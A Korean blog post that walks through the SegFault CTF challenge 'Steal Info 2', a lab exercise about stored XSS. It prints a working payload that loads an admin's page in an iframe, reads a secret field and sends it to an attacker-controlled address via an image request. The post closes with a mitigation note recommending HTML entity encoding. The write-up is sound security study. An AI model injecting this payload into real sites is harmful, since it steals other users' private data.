Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (ClientScript) - Steal Info 2

Gearvirus(junyup2) 2024. 1. 11. 22:52

[SegFault] (ClientScript)

Steal Info 2

admin ๊ณ„์ •์˜ ๋งˆ์ดํŽ˜์ด์ง€์˜ ์ •๋ณด๋ž€์— flag๊ฐ€ ์ˆจ๊ฒจ์ ธ์žˆ๋‹ค! ์ฐพ์•„๋‚ด์‹œ์˜ค!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ์ค‘์š” ์ •๋ณด๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€์™€ ๋˜‘๊ฐ™์€ ํŽ˜์ด์ง€์—์„œ ํ•ด๋‹น ์ •๋ณด์˜ document ๊ฐ’์„ ํ™•์ธํ•˜๊ณ , ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์‹ค์ œ ์ค‘์š” ์ •๋ณด๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€์˜ ๋™์ผํ•œ ์œ„์น˜์— ์žˆ๋Š” ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ์ฐพ๊ณ  ํ•ด๋‹น ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•œ ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(ReuqestBin)๋กœ ์ •๋ณด๊ฐ€ ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€์˜ ์ •๋ณด๋ž€์— flag๊ฐ€ ์ˆจ๊ฒจ์ ธ์žˆ๋‹ค๊ณ  ํ–ˆ์œผ๋ฏ€๋กœ ์šฐ์„  ๋งˆ์ดํŽ˜์ด์ง€๋กœ ์ ‘์†ํ•ด๋ณธ๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€์—๋Š” XSS ์ทจ์•ฝ์ ์„ ์—†๋Š”๊ฒƒ์œผ๋กœ ํŒ๋‹จ๋˜์–ด ์šฐ์„  ์ค‘์š”์ •๋ณด๋ฅผ ํ™•์ธํ•ด๋ณธ๋‹ค.

 

์ค‘์š”์ •๋ณด

๋งˆ์ดํŽ˜์ด์ง€์˜ ์ •๋ณด๋ž€์€ Nothing Here... ๋ผ๊ณ  ์“ฐ์—ฌ์ ธ ์žˆ๋Š” ๋ถ€๋ถ„์ด๋‹ค. ๊ด€๋ฆฌ์ž์˜ Info๋ฅผ ๋ฐ›์•„์™€์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ด€๋ฆฌ์ž๊ฐ€ ํ•ด๋‹น ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋„๋ก ์œ ๋„ํ•˜์—ฌ ํ•ด๋‹น ๋ถ€๋ถ„์— ์ ํ˜€์žˆ๋Š” ๊ฐ’์„ ๊ฐ€์ ธ์™€์•ผํ•œ๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ํ•ด๋‹น ๋ถ€๋ถ„์˜ HTML ๊ตฌ์กฐ๋ฅผ ํ™•์ธํ•˜์—ฌ document ๊ฐ’์„ ๋ฐ›์•„์™€์•ผ ํ•œ๋‹ค.

์œ„์™€ ๊ฐ™์ด ํ•ด๋‹น ๋ถ€๋ถ„์˜ ๊ตฌ์กฐ๋Š” info๋ผ๋Š” ์ด๋ฆ„์˜ input ํƒœ๊ทธ์˜ placeholder์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ์ด๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

 

XSS Point

๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์— XSS ์ทจ์•ฝ์ ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” < ' " >๊ฐ€ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š”์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

์‘๋‹ต(Response)์„ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ ๊ธ€์˜ ๋‚ด์šฉ ๋ถ€๋ถ„์—์„œ ์ž…๋ ฅ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

๋งˆ์ดํŽ˜์ด์ง€์˜ ์ค‘์š” ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์ž‘์„ฑํ•œ๋‹ค.

ํŽ˜์ด๋กœ๋“œ(Payload)

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=admin" id="targetFrame"></iframe> <script> var targetTag = document.getElementById('targetFrame'); targetTag.onload = function(){ var DOMData = targetTag.contentDocument; var secretData = DOMData.getElementsByClassName('card-text')[1].innerHTML; var i = new Image(); i.src = "https://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?secretData="+secretData; } </script>

iframe์„ ์ด์šฉํ•˜์—ฌ ํ•ด๋‹น ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜๊ณ  ํ•ด๋‹น ํŽ˜์ด์ง€์˜ ์ค‘์š”์ •๋ณด ๋ถ€๋ถ„์˜ document ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๋„๋ก ํ•œ๋‹ค.

 

์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…

XSS ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋Š” ๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜์—ฌ ํ•ด๋‹น ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ธ€์˜ ๋‚ด์šฉ์— ์‚ฝ์ž…ํ•œ๋‹ค.

ํ•ด๋‹น ๊ธ€์„ ์ฝ๊ธฐ ์œ„ํ•ด ์ ‘๊ทผํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์˜ ๊ธ€์— ์ ‘๊ทผํ•˜๋Š” URL์„ ๊ด€๋ฆฌ์ž Bot์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ๊ด€๋ฆฌ์ž์˜ ์ค‘์š” ์ •๋ณด๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ์ค‘์š” ์ •๋ณด ๋ถ€๋ถ„์„ ๋ฐ›์•„์˜ค๋Š” ์ผ๋ จ์˜ ๊ณผ์ •์„ ๋‹ด์€ URL๋กœ์˜ ์ ‘์† ์œ ๋„๋ฅผ ํ†ตํ•˜์—ฌ ์›ํ•˜๋Š” flag๊ฐ’์ด ํš๋“๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ๊ฒŒ์‹œ๊ธ€์˜ ๋‚ด์šฉ์— ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž… ๊ฐ€๋Šฅํ•œ XSS ์ทจ์•ฝ์ ์„ ํ™œ์šฉํ•˜์˜€๋‹ค.
๊ด€๋ฆฌ์ž๊ฐ€ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž…๋œ ํŽ˜์ด์ง€๋กœ ์ ‘์†ํ•˜๋„๋ก ์œ ๋„ํ•˜์—ฌ ๊ด€๋ฆฌ์ž๊ฐ€ ๋งˆ์ดํŽ˜์ด์ง€์— ์ ‘์†ํ•˜์˜€์„ ๋•Œ์˜ Info ์ •๋ณด๋ฅผ ๋นผ์˜ค๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜์˜€๋‹ค.
์œ„์™€ ๊ฐ™์ด XSS ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๋ฉด iframe์„ ์ด์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ์˜ ์ ‘์†์„ ์œ ๋„ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, HTML Entity๋ฅผ ์ด์šฉํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ํŠน์ˆ˜๋ฌธ์ž๋“ค์„ ๋ณ€ํ™˜ํ•ด์ฃผ๋„๋ก ํ•ด์•ผํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜